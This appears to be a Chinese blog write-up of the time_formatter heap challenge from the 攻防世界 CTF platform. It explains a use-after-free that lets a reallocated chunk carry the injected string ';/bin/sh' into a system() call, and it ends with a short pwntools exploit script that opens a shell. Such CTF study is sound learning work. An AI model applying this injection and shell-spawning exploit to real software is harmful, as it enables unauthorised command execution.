终于来到了传说中的堆,这是攻防世界里面的堆第一次,刚遇到的时候有点懵逼,看了wp也看不懂,后来才知道是堆题。。。
嗯,我回来了,哈哈哈哈,首先详细了分析了一波题目,先把重要的函数例举出来
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DTDhbGV4-1637663558086)(heap_1(攻防世界time_formatter).assets/image-20211123173241460.png)]](https://i-blog.csdnimg.cn/blog_migrate/98a65d5a7220498242b40f1f4bde128e.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-h6UsMhjE-1637663558088)(heap_1(攻防世界time_formatter).assets/image-20211123173518277.png)]](https://i-blog.csdnimg.cn/blog_migrate/a0dd6e276eef94942e637ebcccb29a17.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lLk8ujyb-1637663558089)(heap_1(攻防世界time_formatter).assets/image-20211123173504967.png)]](https://i-blog.csdnimg.cn/blog_migrate/5ab9b73edaa74daa5f5979bbfb009c1e.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bLXtRYUX-1637663558091)(heap_1(攻防世界time_formatter).assets/image-20211123173538184.png)]](https://i-blog.csdnimg.cn/blog_migrate/89bbe374978b4da112547c43f23d414b.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-jwjIoNLE-1637663558093)(heap_1(攻防世界time_formatter).assets/image-20211123173628629.png)]](https://i-blog.csdnimg.cn/blog_migrate/17117584ff61e030b90a7616b44120b5.png)
纵观全局在我菜鸟看来就只有个system(“asdadasd;/bin/sh;as21sad12e”);这个漏洞,因为system的参数由我们控制,所以就有无限可能,这里有两个全局变量,第一个被格式化为整型了,另一个是字符串类型,那么就是构造";/bin/sh;"的最好容器,嗯,如图:可以看到ida列出来对ptr的操作只有3个
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YqbisJXG-1637663558094)(heap_1(攻防世界time_formatter).assets/image-20211123174049015.png)]](https://i-blog.csdnimg.cn/blog_migrate/2952711b4f1997fcffab33a15c737833.png)
分别是一个malloc后的赋值、free释放和现在的system参数,但是呢通过malloc赋值那里有格式字符的限制输入不了";",然后再看程序总共可供我们输入的有分别是1、2、3这3个接收分别对应3个全局变量,前面说了dword_602120会直接变为整型用不了,那么就只有对value赋值这个函数有操作空间了。
通过学习malloc函数定义知识知道,malloc开辟内存后需要free释放并且对返回的指针置空,如果不释放会造成内存泄漏,指针不置空则会造成内存空间复用(glibc内存重新分配),因为这里没有在释放内存对指针进行初始化处理,就可以利用堆重新分配规则使我们输入的值指向上一个free chunk的地址
嗯,看demo
首先输入1开辟一块内存进行赋值操作然后输入AAAAAAAA,就可看到通过malloc(函数中strdup就是(strcpy + malloc)的结合)我们的chunk再看看它的数据
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-txGVSPIN-1637663558096)(heap_1(攻防世界time_formatter).assets/image-20211123180513995.png)]](https://i-blog.csdnimg.cn/blog_migrate/397c48634b9274f54fde87b9712e4964.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Keys8xgn-1637663558097)(heap_1(攻防世界time_formatter).assets/image-20211123180914398.png)]](https://i-blog.csdnimg.cn/blog_migrate/7dcfdea343829ac947b2b30b7588a589.png)
然后再看看全局变量ptr的值

![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H3DitIn1-1637663558099)(heap_1(攻防世界time_formatter).assets/image-20211123181015972.png)]](https://i-blog.csdnimg.cn/blog_migrate/0dfe0f7d55941aed53d7feafec0407d7.png)
然后再对它进行释放,这样我们再申请同样大小的内存就会让这块chunk进行重新分配了
这里再选5、输入n保证程序不退出进行free chunk,此时的chunk数据为:
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1dldJuQ1-1637663558102)(heap_1(攻防世界time_formatter).assets/image-20211123181539595.png)]](https://i-blog.csdnimg.cn/blog_migrate/e92710bb22ab87fd46490c984a55f481.png)
那么这时再通过malloc申请一样大小的内存、我们选择3、再输入我们的’;/bin/sh’再看看heap信息是否如期所致如图:可以看到之前free 的chunk已经被重新复用了,并且地址还是指向之前的位置,上面parseheap的status显示freed有点问题,时不时会这样显示不对,但看内存数据就可以了,因为没有fd和bk所以它是使用中的chunk
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bflcs215-1637663558103)(heap_1(攻防世界time_formatter).assets/image-20211123181827620.png)]](https://i-blog.csdnimg.cn/blog_migrate/8bda298dd7009d6612cf2df779d10fec.png)
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BZsjcAJO-1637663558105)(heap_1(攻防世界time_formatter).assets/image-20211123182021768.png)]](https://i-blog.csdnimg.cn/blog_migrate/5b065d7a9579cce73f93cc55a829d678.png)
最后的exp:
sla = lambda delim, data: p.sendlineafter(delim, data)
sla('> ','1')
sla('Format: ','%s')
sla('> ','5')
sla('?','n')
sla('> ','3')
sla('Time zone: ',"\';/bin/sh\'")
sla('> ','4')
p.interactive()
这篇博客详细介绍了攻防世界中的一道关于堆溢出的题目,通过分析函数和全局变量,发现了可以利用`system`函数执行自定义命令的安全漏洞。作者通过malloc、free和堆内存复用的原理,展示了如何构造payload来执行特定的shell命令。最终,给出了完整的exploit代码来触发这个漏洞。

被折叠的 条评论
为什么被折叠?



